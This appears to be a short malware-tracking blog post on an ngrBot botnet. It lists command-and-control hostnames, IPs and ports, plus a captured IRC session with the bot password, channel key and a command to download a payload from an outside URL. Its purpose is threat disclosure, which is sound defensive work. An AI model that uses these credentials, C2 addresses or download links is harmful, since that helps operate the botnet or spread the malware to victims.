bt1.yakizzy.com(botnet hosted in United States Chicago Hostforweb Inc)

bt1.divalium.com 205.234.236.13

Outgoing connection to remote server: bt1.yakizzy.com TCP port 7654

Remote Host Port Number
109.109.131.201 80

213.251.170.52 80

205.234.236.13 7654 PASS ngrBot

NICK n{US|XPa}hevmduk
USER hevmduk 0 0 :hevmduk
JOIN #oldgold noKIDs
PRIVMSG #oldgold :[d=”http://raystewart.biz/banners/32.exe” s=”163840 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataFdxaxf.exe” – Download retries: 0

infos about hosting:
http://whois.domaintools.com/205.234.236.13

Categories: Uncategorized